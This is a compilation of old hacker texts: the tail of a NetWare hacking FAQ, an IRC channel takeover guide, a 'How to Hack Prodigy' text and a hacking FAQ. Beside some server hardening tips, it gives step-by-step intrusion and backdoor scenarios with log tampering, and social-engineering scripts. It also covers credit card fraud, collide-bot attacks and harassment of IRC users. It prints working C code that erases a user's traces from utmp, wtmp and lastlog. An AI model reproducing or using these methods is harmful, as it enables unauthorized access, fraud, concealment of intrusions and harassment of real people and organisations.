If the server has a door with a lock, lock it (some larger servers have this) and limit access to the key. This will secure the floppy drive. One paranoid site I know of keeps the monitor and CPU behind glass, so that the keyboard and floppy drive cannot be accessed by the same person at the same time.

If you only load NLMs from the SYS:SYSTEM directory, use the SECURE CONSOLE command to prevent NLMs being loaded from the floppy or other location.

A hacker could load a floppy into the drive and run one of several utility files to gain access to the server. Or they could steal a backup tape or just power off the server! By physically securing the server, you can control who has access to the server room, who has access to the floppy drive, backup tapes, and the System Console. This step alone will eliminate 75% of attack potential.

Secure Important Files -

These should be stored offline. You should make copies of the STARTUP.NCF and AUTOEXEC.NCF files. The bindery or NDS files should be backed up and stored offsite. All System Login Scripts, Container Scripts, and any robotic or non-human personal Login Scripts should be copied offline. A robotic or non-human account would be an account used by an email gateway, backup machine, etc.

Compile a list of NLMs and their version numbers, and a list of files from the SYS:LOGIN, SYS:PUBLIC, and SYS:SYSTEM directories.

You should periodically check these files against the originals to ensure none have been altered.

Replacing the files with different ones (like using itsme's LOGIN.EXE instead of Novell's) will give the hacker access to the entire server. It is also possible that the hacker will alter .NCF or Login Scripts to bypass security or to open holes for later attacks.

Make a list of Users and their accesses -

Use a tool like Bindview or GRPLIST.EXE from the JRB Utilities to get a list of users and groups (including group membership). Once again, keep this updated and check it frequently against the actual list.

Also run Security (from the SYS:SYSTEM directory) or GETEQUIV.EXE from the JRB Utilities to determine who has Supervisor access. Look for odd accounts with Supervisor access like GUEST or PRINTER.

It is also a good idea to look at Trustee Assignments and make sure access is at a minimum. Check your run from Security to see if access is too great in any areas, or run TRSTLIST from the JRB Utilities.

Security will turn up some odd errors if SUPER.EXE has been run. If you are not using SUPER.EXE, delete and rebuild any odd accounts with odd errors related to the Bindery, particularly if BINDFIX doesn't fix them yet the

account seems to work okay. If a hacker put in a backdoor using SUPER.EXE, they could get in and perhaps leave other ways in.

Monitor the Console -

Use the CONLOG.NLM to track the server console activity. This is an excellent diagnostic tool since error messages tend to roll off the screen. It will not track what was typed in at the console, but the system's responses will be put in SYS:ETC\CONSOLE.LOG. When checking the console, hit the up arrow to show what commands were last typed in.

While this won't work in large shops or shops with forgetful users, consider using the SECUREFX.NLM (or SECUREFX.VAP for 2.x). This sometimes annoying utility displays the following message on the console and to all the users after a security breach:

"Security breach against station <connection number> DETECTED."

This will also be written to an error log. The following message is also written the the log and to the console:

"Connection TERMINATED to prevent security compromise"

Turn on Accounting -

Once Accounting is turned on, you can track every login and logout to the server, including failed attempts.

Don't Use the Supervisor Account -

Leaving the Supervisor logged in is an invitation to disaster. If packet signature is not being used, someone could use HACK.EXE and gain access to the server as Supervisor. HACK spoofs packets to make them look like they came from the Supervisor to add Supe equivalence to other users.

Also, it implies a machine is logged in somewhere as Supervisor, if it has been logged in for more than 8 hours chances are it may be unattended.

Use Packet Signature -

To prevent packet spoofing (i.e. HACK.EXE) enforce packet signature. Add the following line to your AUTOEXEC.NCF -

SET NCP PACKET SIGNATURE OPTION=3

This forces packet signature to be used. Clients that do not support packet signature will not be able to access, so they will need to be upgraded if you have any of these clients.

Use RCONSOLE Sparingly (or not at all) -

When using RCONSOLE you are subject to a packet sniffer getting the packets

and getting the password. While this is normally above the average user's expertise, DOS-based programs that put the network interface card into promiscuous mode and capture every packet on the wire are readily available on the Internet. The encryption method is not foolproof.

Remember you cannot "detect" a sniffer in use on the wire.

Do NOT use a switch to limit the RCONSOLE password to just the Supervisor password. All you have done is set the password equal to the switch. If you use the line "LOAD REMOTE /P=", Supervisor's password will get in (it ALWAYS does) and the RCONSOLE password is now "/P=". Since the RCONSOLE password will be in plain text in the AUTOEXEC.NCF file, to help secure it try adding a non-printing character or a space to the end of the password.

And while you can use the encryption techniques outlined in 02-8, your server is still vulnerable to sniffing the password.

Move all .NCF files to a more secure location (3.x and above) -
---

Put your AUTOEXEC.NCF file in the same location as the SERVER.EXE file. If a server is compromised in that access to the SYS:SYSTEM directory is available to an unauthorized user, you will at least have protected the AUTOEXEC.NCF file.

A simple trick you can do is "bait" a potential hacker by keeping a false AUTOEXEC.NCF file in the SYS:SYSTEM with a false RCONSOLE password (among other things).

All other .NCF files should be moved to the C: drive as well. Remember, the .NCF file runs as if the commands it contains are typed from the console, making their security most important.

Use the Lock File Server Console option in Monitor (3.x and above) -
---

Even if the RCONSOLE password is discovered, the Supe password is discovered, or physical access is gained, a hard to guess password on the console will stop someone from accessing the console.

Add EXIT to the end of the System Login Script -

By adding the EXIT command as the last line in the System Login Script, you can control to a degree what the user is doing. This eliminates the potential for personal Login Script attacks, as described in section 03-6.

Upgrade to Netware 4.1 -

Besides making a ton of Novell sales and marketing people very happy, you will defeat most of the techniques described in this faq. Most well-known hacks are for 3.11. If you don't want to make the leap to NDS and 4.1, at least get current and go to 3.12.

Check the location of RCONSOLE.EXE -

In 3.11, RCONSOLE.EXE is located in SYS:SYSTEM by default. In 3.12 and 4.1 it is in SYS:SYSTEM and SYS:PUBLIC. You may wish to remove RCONSOLE.EXE from SYS:PUBLIC, as by default everyone will have access to it.

Remove [Public] from [Root] in 4.1's NDS-

Get the [Public] Trustee out of the [Root] object's list of Trustees. Anyone, even those not logged in, can see virtually all objects in the tree, giving an intruder a complete list of valid account names to try.

10-2. I'm an idiot. Exactly how do hackers get in?

We will use this section as an illustrated example of how these techniques can be used in concert to gain Supe access on the target server. These techniques show the other thing that really helps in Netware hacking - a little social engineering.

Exploitation #1

Assume tech support people are dialing in for after hours support. Call up and pose as a vendor of security products and ask for tech support person. Called this person posing as a local company looking for references, ask about remote dial-in products. Call operator of company and ask for help desk number. Call help desk after hours and ask for dial-in number, posing as the tech support person. Explain home machine has crashed and you've lost number.

Dial in using the proper remote software and try simple logins and passwords for
dial-in software if required. If you can't get in call help desk especially if others such as end users use dial-in.

Upload alternate LOGIN.EXE and PROP.EXE, and edit AUTOEXEC.BAT to run the alternate LOGIN.EXE locally. Rename PROP.EXE to IBMNBIO.COM and make it hidden.
Before editing AUTOEXEC.BAT change the date and time of the PC so that the date/time stamp reflects the original before the edit.

Dial back in later, rename PROP.EXE and run it to get Accounts and passwords.

Summary - Any keystroke capture program could produce the same results as the alternate LOGIN.EXE and PROP.EXE, but you end up with a Supe equivalent account.

Exploitation #2

Load a DOS-based packet sniffer, call the sys admin and report a FATAL DIRECTORY ERROR when trying to access the server. He predictively will use RCONSOLE to look at the server and his packet conversation can be captured. He will find nothing wrong (of course).

Study the capture and use the RCON.FAQ to obtain the RCONSOLE password. Log in as GUEST, create a SYSTEM subdirectory in the home directory (or any directory on SYS:). Root map a drive to the new SYSTEM, copy RCONSOLE.* to it, and run RCONSOLE. Once in try to unload CONLOG and upload BURGLAR.NLM to the real SYS:SYSTEM. Created a Supe user (i.e. NEWUSER) and then typed CLS to clear the server console screen.

Log in as NEWUSER. Erase BURGLAR.NLM, new SYSTEM directory and its contents. Run PURGE in those directories. Turn off Accounting if on. Give GUEST Supe rights. Set toggle with SUPER.EXE for NEWUSER. Run FILER and note SYS:ETC\CONSOLE.LOG (if CONLOG was loaded) owner and create date, as well as SYS:SYSTEM\SYS$ERR.LOG owner and create date. Edit SYS:ETC\CONSOLE.LOG and remove BURGLAR.NLM activity, including RCONSOLE activity. Edit and remove RCONSOLE activity from SYS:SYSTEM\SYS$ERR.LOG as well. After saving files, run FILER and restore owner and dates if needed. Run PURGE in their directories.
Logout and login as GUEST and set SUPER.EXE toggle. Remove NEWUSER Supe rights and logout. Login as NEWUSER with SUPER.EXE and remove GUEST Supe rights. Finally logout and login as GUEST with SUPER.EXE and turn on Accounting if it was on.

Summary - You have created a backdoor into the system that will not show up as somthing unusual in the Accounting log. Login as GUEST using SUPER.EXE and turn
off Accounting. Logout and back in as NEWUSER with SUPER.EXE, do what you need to do (covering file alterations with Filer), and logout. Log back in as GUEST and turn on Accounting. The NET$ACCT.DAT file shows only GUEST logging in
followed by GUEST logging out.

10-3. I have xxx setup and xxx version running. Am I secure?

This question has been coming up lately. A lot. Admins asking me if their sites are secure. Here is an example from a post to one of the Netware newsgroups with my comments, as it is generic enough to apply to a number of locations (in other words, no you are not 100% secure):

>Here is the scenario: A supervisor of a network suspects that he may
>be facing termination of employment in the near future. He is embittered
>and aggravated. As system administrator for the network, he oversees
>the computers that track all business actions. Basically, he can bring
>the organization to it's knees in a heartbeat, and he knows it. He has
>made comments in passing that it is possible that either time bombs have
>been set in the system, or that a possible "Dead-man's clutch" may exist
>(if he's not there to disable some mechanism daily/weekly the system will
>be compromised).

Not nearly as easy to set up in the environment you've specified. However, I'd let that rumor continue so as to waste your time looking for a dead-man's clutch. In the meantime, I'd be stealing stuff from those databases and selling them to the competition.

>Here is the tech specs: A Novell 3.12 server that serves databases, email
>and user files to 30 PC's running Windows 3.1. The network is attached
>to the Internet. No OS's other than DOS/Windows and Novell. The

>network is attached to a larger network that is very accessible to the
>public (via physically attached machines, and the Internet). There
>are no firewalls. The supervisor is the only person with supervisor
>password/privileges on the server, as well as the only person who knows
>the details of the network, the server disk layout, the server nlm's.
>Basically the only person who has been inside the server which is such
>a vitally mission critical system.
>
>Here's what I have so far:
>   1. quarantine the 30 node network and server by physically
>   disabling it's Ethernet access to the outside world.

This is an interesting step. However your problem returns once you
re-attach.

>   2. make a full system backup of the server before touching
>   investigating or touching anything.

If a problem occurs and you restore your backups, any virii, trojans,
and other back doors will get back into the system.

>   3. "secure" the Novell server (see below)

Read my hack FAQ. ftp://ftp.fastlane.net/pub/nomad/nw/faq.zip

You see, if I were to leave a backdoor, I would leave several.

1) I would run BINDFIX and then run a bindery cracker on ALL accounts
on the server against the .OLD bindery files. I would use
ftp://ftp.fastlane.net/pub/nomad/nw/bindery.zip to do this, along with
a huge word list. This should not only get me most passwords on the
system, but get automated passwords as well. For example, Arcserve
5.01g installs an account called CHEY_ARCHSVR with station restrictions
and a password of WONDERLAND. I'd remove the station restrictions and
either use SUPER.EXE to set up CHEY_ARCHSVR as a toggled Supe account,
or just make it plain old Supe equivalent. Most people do not check
these kinds of accounts.

2) I would install the alternate LOGIN.EXE and PROP.EXE to give myself
a way to see new passwords that have been changed. These files can be
found at ftp://ftp.fastlane.net/pub/nomad/nw/nwl.zip, details in the
FAQ.

3) I would delete all zero length personal login files (see the FAQ for
why).

4) Any logins (such as the one possibly used by an SMTP gateway) which
would be normally restricted would be toggled with SUPER.EXE. GUEST
would be toggled.

5) Message files (such as the ones used in displaying error messages)
would be hacked so that security violations would display harmless
messages.

>   4. "secure" all PC's (see below)

I would install keystroke grabbers on a number of machines, like those

found at ftp://onyx.infonexus.com/pub/ToolsOfTheTrade/DOS/KeyLoggers/

> 5. erect a firewall disabling IPX passage into the network
> but allowing TCP/IP (email services required).

I would use some of these "very public" machines and install a sniffer, and I would use NetCat to redirect port 25 traffic to a particular address to a different machine's telnetd, bypassing the firewall. ftp://onyx.infonexus.com/pub/ToolsOfTheTrade/Unix/nc100.tgz for NetCat.

With the sniffer it could be possible to get the RCONSOLE password. See ftp://ftp.fastlane.net/pub/nomad/nw/rcon*.zip for details.

I would make sure that IP is on my server, and make sure XCONSOLE is running. Once past the firewall, I'd telnet to the server's IP address and run either X11 or VT100 remote console sessions with the server.

> 6. notify the supervisor that he is fired, and take whatever
> actions are necessary to keep him from coming in physical
> contact with the network.

If planned ahead, the supe will have his/her backdoors in place, and this will not matter. In fact, s/he will probably MAKE SURE that they do not even look at a machine.

>There's a gotcha, getting the supervisor password. It would be
>ideal to inadvertently get it, but thats a long shot. The system
>administrator will probably have to be asked for it at step 6, whether
>he gives it to us is IMHO unlikely.

The FAQ tells how you can recover from this easily.

Remember, you've eliminated social engineering from your checklist. I'd attach a modem to a PC for PCanyWhere and then call up stating, "I'm the vendor your ex-employee hired to dial in and check blah-blah. If I were you I'd change my dial-in password." Once in (in the middle of the night) I'd activate a backdoor and proceed to make your competitor rich.

Hacking IRC

Hacking IRC - The Definitive Guide

 Welcome to Hacking IRC- The Definitive Guide. The purpose of this page if you have not already guessed is to provide what I consider optimal methodology for hacking IRC channels. In addition, I provide some of the better channels to hack as well as fun things to do while "owning a channel."

Contents

[Image] See me if you dare.

Section 1-Why Hack IRC?

I have often asked myself this question and the answers are varied and numerous. One of the primary reasons for hacking IRC channels is due to shear boredom. However a multitude of secondary reasons exist. Foremost among these is the "that asshole op i nsulted me and/or kicked me and/or banned me from the channel and I WANT REVENGE! This is a perfectly valid excuse and boredom is not a necessary condition for implementing a takeover of an IRC channel. Nor is it a necessary condition that the reason yo u were insulted and/or kicked and/or banned was because in fact you are an asshole. All that is necessary is the will, the desire, a bit of skill, and of course the tools, which convieniently brings me to my next section.

Section 2-Requisite Tools

Any decent craftsmen needs a good set of tools and IRC hackers are no exception. Without the proper tools you are dead in the water. All of the tools I describe below are available on public ftp sites. Before I launch into a discussion of what you wil l need, it is important to point out that if you are reading this document from your ppp/slip account you might consider geeting a shell account if you are serious about hackin. Hacking IRC from a slip/ppp is much more complicated than doing so from a sh ell account. There are those who will debate this but my experience has shown that mIRC or any of the other shareware IRC programs for the PC are no match for the speed and ease of use that an IRC shell script allows for.

Thus the first tool required fo r hacking is an excellent irc shell script. If you have already used IRC via a shell account and are still reading this document you probably already have a script, which means you are well on your way! As far as IRC shell scripts go, my personal favor ite is Lice - again available publically via ftpFTP. Other scripts exist but the richness and power of the LICE commands I believe is second to none. Now while it is possible to stop here and hack ops with just a script, you would effectively be putting yourself needlessly at a handicap. Therefore I reccommend these additional two tools: 1)Multi-Collide-Bot(MCB) and 2)LInk Looker(LL). These two C programs are your infantry and intellige nce respectively. Again both are available via FTP and both are C programs and therefore need to be compiled.

What It Takes To Gain Control

Without going into much detail clearly in order to effectively gain control of an IRC channel you must be the only op on your channel. If you are still clueless at this point, that is to say..You should be the only guy/gal with the @ in front of your nic k. Once you have accomplished this, the channel is YOURS. Of course, that is until it is taken back or you decide to cease hacking the channel. There are a number of ways to effectively gain ops on a channel and I will start with the simplest, then mov e to the increasingly more complex and finesse laden methods. By far and away the easiet method of gaining ops on a channel is to ask. You laugh eh? Well don't. Clearly as hackers grow more prevelant on IRC the asking method becomes more and more unlikely to succeed. This is especially true of the bigger and well established channels that have cultures onto themselves such as #Netsex, #Teensex, #Windows95, #Bawel, #BDSM, #Blaklife, #Texas, #Hack, and any of the #Warez channels and a whole host of others. To gain ops in these channels you must become a channel re gular (i.e. one that hangs there freqently and becomes a known and trusted member of the channel). Since you have neither the time nor the desire to make friends on the channel you ultimately want to hack ops on, the asking method is the last thing you want to do on all but the smaller more ethereal channels, where you obviously stand a better although still slim chance of gaining ops through a request.. One important exception to the ask method is through the use of anonirc which can be used on any ch annel but has severe limitations..more on this later. But of course you didn't come this far to be taught how to ask for ops..so lets proceed with the next lesson. Aside from asking there are essentially two other ways of gaining ops. The first is through splits and the second is through anonirc. The following discussion mostly relates to splits but I will touch on anonirc briefly at the end. What is a split? A split occurs when the IRC server you are communicating on detaches from the rest of the net. If you are in a channel and by chance the only one on a particular server that splits away, you will not only find yourself alone on the channel, but will now ha ve the opportunity to gain ops. In order to do this you need to leave and rejoin the channel in which case you will now find yourself with the little @ in front of your nick. When your server rejoins you will have ops on the channel. Now you say, "Wow, thats easy enough". Wrong. More likely than not, especially on a bigger channel a number of things are likely to occur that will remove your op status. Remember now the goal here is to keep ops so you can "Have Your Way". Also and more importantly, if you go into a channel and wait around hoping the server you are on splits, you might grow old and die first. Therefore, what is a wannbe IRC hacker to do? Link Looker is your answer.

Link Looker

Link Looker is a lovely little program that acts as your intelligence officer. Without getting into the complexities or its mechanics, what it effectively does is to give your a message anyti me a particular server detaches from the net and a message when it rejoins. Is the methodology becoming clearer now? Yes! Thats right! When LL tells you that a server is split ,you connect to that server and join the channel you seek to hack ops on and h ope nobody else split from the channel on that server(if this occurs you will not get ops).. If you find yourself alone, you will have ops and a fighting chance to gain control of the channel. It is important to realize that on many channels, just getti ng ops via a split and waiting for a rejoin is sufficient for gaining control of a channel. This is particularly true of small to medium sized channels as well as channels that are not organized or do not have Bots (more on this later), You simply wait for the server to rejoin and once the channel is full you execute your mass deop command (this is on your script and the key element in getting rid of any other ops) and you will be the only op left. The channel is yours and go do your thing! On bigger more organized channels, things won't be so easy due to the presense of Bots as well as the presense of scripts used by existing human ops.

Bots and Scripts

Bigger more organized channels inevitably have a Bot(Robot) or multiple Bots. Bots are essentially suped up scripts that attempt to maintain ops on a channel by their continuous presensce on channel. Additionally Bots provide a number of channel mainten ance tasks such as opping known members of the channel (either automatically or through password requests), providing notes, and other information. Bots however are primarlly used for keeping ops on channel and depending on the type of Bot, defending aga inst IRC hackers. Bots come in many varieties and types but the best of them do a good job of deoping spliters(thats you silly..you are opped on a split and when you rejoin the bot will deop you). Not only will Bots deop you..many of the human ops have scripts (such as LIce) that depending on the settings employed will deop you as well. Now with the prevalance of powerful scripts on IRC a recent phenomona is the occurse of the desynch. This is a nasty event that takes place when you rejoin from a spli t and your script deops the existing ops and the existing ops deop you at the same time. What this does is confuse the shit out of the servers and cause them to desynchronize from one another. This is to be avoided at all costs. When this happens you w ill effectively become desynched from a large portion of the net and most the channel, (depending on what server you rode in on). What's worse is that you will think you have ops(which you will for that server) but in reality you won't and you will be w asting your time. So how with the prevalence of super Bots and Human ops with scripts do you take the channel? Using MCB of course!

Multi-Collide-Bot(MCB)

Multi-Collide-Bot (MCB) is a powerful tool and your best friend. MCB is an even lovelier program that creates a clone of a nick you want to kill (almsot always an op on the channel you are tr ying to hack) on a server that has split(yes the one Link Looker informed you of). Basically you feed MCB the name or names of the nick you want to kill and tell it what split

server to establish those clones and upon rejoin.BAM/SMACK/KIILL!! Yes thats r ight, the target is thrown out of the channel(losing ops) and must re-establish a connection with a server to get back onto IRC and into the channel. So yes, you have figured it out. If you kill all of the ops on a channel and you ride in on a split you will be the only op in the channel. Let me assure you there is nothing like seeing the nick kill messages of the ops you have targeted as you ride in on the split.

Pre-Takeover Preparation

There are a number of things you can do before you attempt to take over an IRC Channel to make things easier and be as well prepared as you can possibly be. 1)Pre-Attack Observation. Plain and simple you must know who you are attacking. One of the most important things you can do as you sit and observe the channel is to determine which bots and/or human ops are deopping on rejoins. These are the nicks you want to target first. You will fail if you don't kill these nicks and rejoin because you are lik ely to cause a desynch(discussed above). However, it is essential to make sure you kill all of the ops. Leaving just one op alive means you have lost that battle and must now regroup and wait for another split. It is important to watch out for ops chan ging their nicks if they detect a split. If they do this, the mcb you tagged with their nick will be useless to you. The way I prevent this is to be on both sides of the split. That is to be opped in the channel on the split server and have a clone in the channel on the other side of the split monitoring the goings on, telling you if ops change nicks or new people are opped (in which case you create a new mcb with their name on it).

Things To Do Once You "Own" the Channel

Once you own the channel, the decision is clearly yours on how you want to proceed and needless to say the number of things you can do is endless. However, let me share with you a number of time tested ideas that are sure to give you a thrill not to ment ion totally piss of the channel you have now hacked. The first thing you can do is to taunt the former ops of the channel. That is to say, they will probably be cursing you and telling you what a loser you are for hacking the channel. They will say thi ngs like "get a life, do something more productive". Remember don't take it personally. You have to keep in mind that it is the formers ops who in fact are the ones who need to get a life, considering the only power they have or make that had (if you su ccessfully hacked the channel) was to have ops in the first place. So you can continue to taunt and if they get relay billegerent you can kick them off the channel. They will undoubtedly come back within a second or two and then you can say something li ke, "Now, now I am in control of the channel and I will not tolerate such language and behavior. If you are unable to control yourself I will be forced to ban you." Now this is sure to get some violent response from the former op in which case you subse quently kick and ban them and move onto the next person. Another thing I like to do is to word ban. This is particularly easy if you have LICE. What you do is pick a word that if typed onto the screen by any of the channel members, will automatically r esult in you kicking them off the channel with the reason that word is banned. This method is particularly good in channels like #teensex where people are always saying the word sex, male, female, teen, age, etc. All you do is ban those words and watch the kicks begin to fly. Another thing I like to do is moderate the channel. What this does with the /mode +m command is to make

it such that nobody on channel can speak. This is a particularly good thing to do when many of the channel members are getti ng out of hand and you want to make some sort of statement without anybody interrupting you. Yes all eyes will be trained on you. If you want to be really mean, when you are finished hacking the channel, you can leave it moderated in which case nobody w ill be able to speak and the channel is effectively shut down. Other things to do which are nasty as well are to kick everybody out of the channel and make it invite only, effectively shutting it down as well. Think of your own creative things to do. I would love to hear about them..email me..if they are particularly interesting I will include them in this page with an attribution if you like.

Best Channels to Hack

#limbaugh
#rush
#lamerz
#newbies

email klider@panix.com

Prodigy

þáGâþ
þárotherhood of Gíds and âetardsþ
"How to Hack Prodigy"
By
Desolated Dream
áGâúBL/´DEúNULLúTLHSúTLPSIIúKRONiCKúHcH

Prodigy is one of the easiest things in the world to hack. all you do is call up Prodigy at 1-800-776-3449. when it answers, you listen to the little shit message. it will then tell you to press 1 if you have a touch tone phone. then you get a menu that says, press 1 for purchasing for 1st time, 2 for the best phone number to use, 3 for billing questions, 4 for installation problems, or 5 for trouble using after install. i will go into all of these in detail, but for now you hit 4 for installing problems. you get the for quality control and training purposes message, then play some musicit will either tell you that all lines are currently busy & to call back later, tell you that all reperesentatives are currently busy, and to hold on, or just give you an operator instantly. then when you get the operator, he/she will ask for your membership id. you just act like an idiot. tell them you just recieved the Prodigy pack for your Birthday, and you have just set it up, and you ran the program, but it keeps asking for a membership id, and password. just say you looked in the box and at all the books, bbut you see no id or password anywhere. he will tell you to hold on, and he will get you a new id. when he comes back he will ask you for your name, address, and tel#. the beauty of it is that you just give him bullshit stuff, and he gives you an id. you thank him, and hang up. now as for getting a number, you call the 800 number back, and instead of going to 4, you go to 2. you get the monitor message, get put on hold, then it says to press 1 for 2400, or 2 for 9600. you always press 1. you don't have the ability on the first call to connect at 9600. you must d/l the upgrade file once you're online. you get the access numbers, setup the prodigy software, login new with the temp acct. you must then fill out the the newuser info, and say yes to the disclaimer. you have to have a credit card # it don't have to be valid, nor does the name, address or phone#. as for the credit card number, amex has 14, mc 16, and visa 17. once you get on, you can d'l the 9600 upgrade, sign up 5 more members, and get 2 more free accounts by jumping "instant member". and you have free full member packages sent to you by jumping "member get a member". you can get access to everything this way. BTW, for the skeptics about tracing the calls. the only place that has that, and the only place where anyone has ever been busted is in the state of ny. and you can also card shit this way if you have a valid card...

that's about it for this online service hacking issue from desolated dream and áGâ. look for hacking delphi, getting free internet accounts, getting free money from visa and mc cards, getting free money from amex cards, and the art of dumpster diving without getting cought...

Hacking FAQ
Psychotic's FAQ
by Virtual Circuit and Psychotic

I. HACKING
* What is hacking?
* How do I crack shadowed passwords?
* How can I tell the difference between an encrypted password and a shadowed password?
* Where can I find the password file if it's shadowed?
* Where is the password file located?
* What is an exploit?
* What are some basic telnet commands?
* How do I get out of the log file?
* What is a DNIC?
* What is an NUA?
* What is a VAX/VMS?
* What is telnet?
* What is an anonymous remailer?
* What is PGP?
* What is a tcp/ip?
* What is a virus?
* What is a trojan?
* What is a worm?
* What do I need to become a hacker?
* What are some common accounts for Novell Netware?
* How can I gain supervisor access to Novell Netware?
* How do I access the passwords for Novell?
* How do I crack a Novell Netware password?
* What are the domain codes?
II. PHREAKING
* What is phreaking?
* How do I start phreaking?
* What are boxes?
* What kind of boxes are there?
* How do I make a box?
* What is a loop?
III. Security
* How do I set up an anonymous FTP server?
* What are some ways that I can secure a network?
* What is a "rainbow book?"
* What is a sniffer?
* What is a firewall?
* How can I use PGP to benefit me?
IV. Group Questions
* What is Psychotic?
* Is Psychotic looking for new members?
* What is Psychosis?
* What is the "Devil's Gateway?"
* Where can I find some good resources on hacking and phreaking?
* Who are all the members in Psychotic?
* What are Psychotic's offered services?

Q. What is hacking?

A. Hacking is the art of breaking into computers to gain knowledge that our society has hidden from us. Hacking is illegal and the government spend lots of money each year to have hackers arrested.....when

they should be spending the money on more important issues.

Q. What is a shadowed password?

A. A shadowed password is a cover for the real password file. It shows that the real password is hidden somewhere else.

Q. How do I crack shadowed passwords?

A. Cracking a shadowed password file is impossible. Assuming that you got the password file via anonymous ftp. You should try connecting to port 25 and doing the sendmail bug.

Q. What is the difference between an encrypted password and a shadowed password?

A. An encrypted password is just the real password scrambled and changed. It can be cracked with a password cracked and a word file. A shadowed password hides the encrypted password somewhere else other than the etc. dir.

Q. Where can I find the password file if it's shadowed?

A. Unix	Path	Token
AIX 3	/etc/security/passwd	!
or	/tcb/auth/files//	
A/UX 3.0s	/tcb/files/auth/?/*	
BSD4.3-Reno	/etc/master.passwd	*
ConvexOS 10	/etc/shadpw	*
ConvexOS 11	/etc/shadow	*
DG/UX	/etc/tcb/aa/user/	*
EP/IX	/etc/shadow	x
HP-UX	/.secure/etc/passwd	*
IRIX 5	/etc/shadow	x
Linux 1.1	/etc/shadow	*
OSF/1	/etc/passwd[.dir|.pag]	*
SCO Unix #.2.x	/tcb/auth/files//	
SunOS4.1+c2	/etc/security/passwd.adjunct	##username
SunOS 5.0	/etc/shadow	
System V Release 4.0	/etc/shadow	x
System V Release 4.2	/etc/security/* database	
Ultrix 4	/etc/auth[.dir|.pag]	*
UNICOS	/etc/udb	*

Q. Where is the password file located?

A. The password file is located in the etc/passwd dir. You can get into the etc dir by logging on to the domain via anonymous ftp.

Q. What is an exploit?

A. An exploit is something that exploits unix or another kind of OS. You usually use exploits to gain root or high access to a system. They can prove to be very handy.

Q. What are some basic telnet commands?

A. Below is a list of common telnet commands.

Command	Function
access	Telnet account
c	Connect to a host
cont	Continue
d	Disconnect
full	Network echo
half	Terminal echo
hangup	Hangs up
mail	Mail
set	Select PAD parameters
stat	Show network port.
telemail	Mail

Q. How do I get out of the log file?

A. Edit /etc/utmp, /usr/adm/wtmp and /usr/adm/lastlog. These are not text files that can be edited by hand with vi, you must use a program specifically written for this purpose.
Example:

```
#include
#include
#include
#include
#include
#include
#include
#include
#define WTMP_NAME "/usr/adm/wtmp"
#define UTMP_NAME "/etc/utmp"
#define LASTLOG_NAME "/usr/adm/lastlog"

int f;

void kill_utmp(who)
char *who;
{
     struct utmp utmp_ent;

  if ((f=open(UTMP_NAME,O_RDWR))>=0) {
          while(read (f, &utmp_ent, sizeof (utmp_ent))> 0 )
            if (!strncmp(utmp_ent.ut_name,who,strlen(who))) {
                              bzero((char *)&utmp_ent,sizeof( utmp_ent ));
                              lseek (f, -(sizeof (utmp_ent)), SEEK_CUR);
                              write (f, &utmp_ent, sizeof (utmp_ent));
                    }
          close(f);
  }
}

void kill_wtmp(who)
char *who;
{
     struct utmp utmp_ent;
     long pos;
```

```
    pos = 1L;
    if ((f=open(WTMP_NAME,O_RDWR))>=0) {

        while(pos != -1L) {
            lseek(f,-(long)( (sizeof(struct utmp)) * pos),L_XTND);
            if (read (f, &utmp_ent, sizeof (struct utmp))<0) {
                pos = -1L;
            } else {
                if (!strncmp(utmp_ent.ut_name,who,strlen(who))) {
                    bzero((char *)&utmp_ent,sizeof(struct utmp ));
                    lseek(f,-( (sizeof(struct utmp)) * pos),L_XTND);
                    write (f, &utmp_ent, sizeof (utmp_ent));
                    pos = -1L;
                } else pos += 1L;
            }
        }
        close(f);
  }
}

void kill_lastlog(who)
char *who;
{
    struct passwd *pwd;
    struct lastlog newll;

        if ((pwd=getpwnam(who))!=NULL) {

            if ((f=open(LASTLOG_NAME, O_RDWR)) >= 0) {
                lseek(f, (long)pwd->pw_uid * sizeof (struct lastlog), 0);
                bzero((char *)&newll,sizeof( newll ));
                write(f, (char *)&newll, sizeof( newll ));
                close(f);
            }

    } else printf("%s: ?\n",who);
}

main(argc,argv)
int argc;
char *argv[];
{
    if (argc==2) {
            kill_lastlog(argv[1]);
            kill_wtmp(argv[1]);
            kill_utmp(argv[1]);
            printf("Zap2!\n");
    } else
    printf("Error.\n");
}
```

Q. What is DNIC?

A. A DNIS says which network connect to the telnet you are using.

Q. What is NUA?

A. The NUA is the address of the computer on telnet.

Q. What is a VAX/VMS?

A. A vax/vms is Digital Equipment's major computer line. It's proprietary operating system is known as vms.

Q. What is telnet?

A. Telnet is a program which lets you log in to other computers on the net.

Q. What is an anonymous remailer?

A. An anonymous remailer is a system on the Internet that allows you to send e-mail anonymously or post messages to Usenet anonymously. You apply for an anonymous ID at the remailer site. Then, when you send a message to the remailer, it sends it out from your anonymous ID at the remailer. No one reading the post will know your real account name or host name. If someone sends a message to your anonymous ID, it will be forwarded to your real account by the remailer.

Q. What is PGP?

A. This FAQ answer is excerpted from:
PGP(tm) User's Guide Volume I: Essential Topics by Philip Zimmermann
PGP(tm) uses public-key encryption to protect E-mail and data files. Communicate securely with people you've never met, with no secure channels needed for prior exchange of keys. PGP is well featured and fast, with sophisticated key management, digital signatures, data compression, and good ergonomic design.
Pretty Good(tm) Privacy (PGP), from Phil's Pretty Good Software, is a high security cryptographic software application for MS-DOS, Unix, VAX/VMS, and other computers. PGP allows people toexchange files or messages with privacy, authentication, and convenience. Privacy means that only those intended to receive a message can read it. Authentication means that messages that appear to be from a particular person can only have originated from that person. Convenience means that privacy and authentication are provided without the hassles of managing keys associated with conventional cryptographic software. No secure channels are needed to exchange keys between users, which makes PGP much easier to use. This is because PGP is based on a powerful new technology called "public key" cryptography. PGP combines the convenience of the Rivest-Shamir-Adleman (RSA) public key cryptosystem with the speed of conventional cryptography, message digests for digital signatures, data compression before encryption, good ergonomic design, and sophisticated key management. And PGP performs the public-key functions faster than most other software implementations. PGP is public key cryptography for the masses.

Q. What is tcp/ip?

A. Tcp/ip is the system networks use to communicate with each other. It stands for Transmission Control Protocol/Internet Protocol.

Q. What is a virus?

A. A Virus is a program which reproduces itself. It may attach itself to other programs, it may create copies of itself. It may damage or corrupt data, change data, or degrade the performance of your system by utilizing resources such as memory or disk space. Some Viruse scanners detect some Viruses. No Virus scanners detect all Viruses. Virus scanners will work for a while but people are always creating virii that will beat them.

Q. What is a trojan?

A. A trojan is a program which does an unauthorized function, hidden inside an authorized program. It does something other than it claims to do, usually something malicious, and it is intended by the author to do whatever it does. If it is not intentional, it is called a bug.

Q. What is a worm?

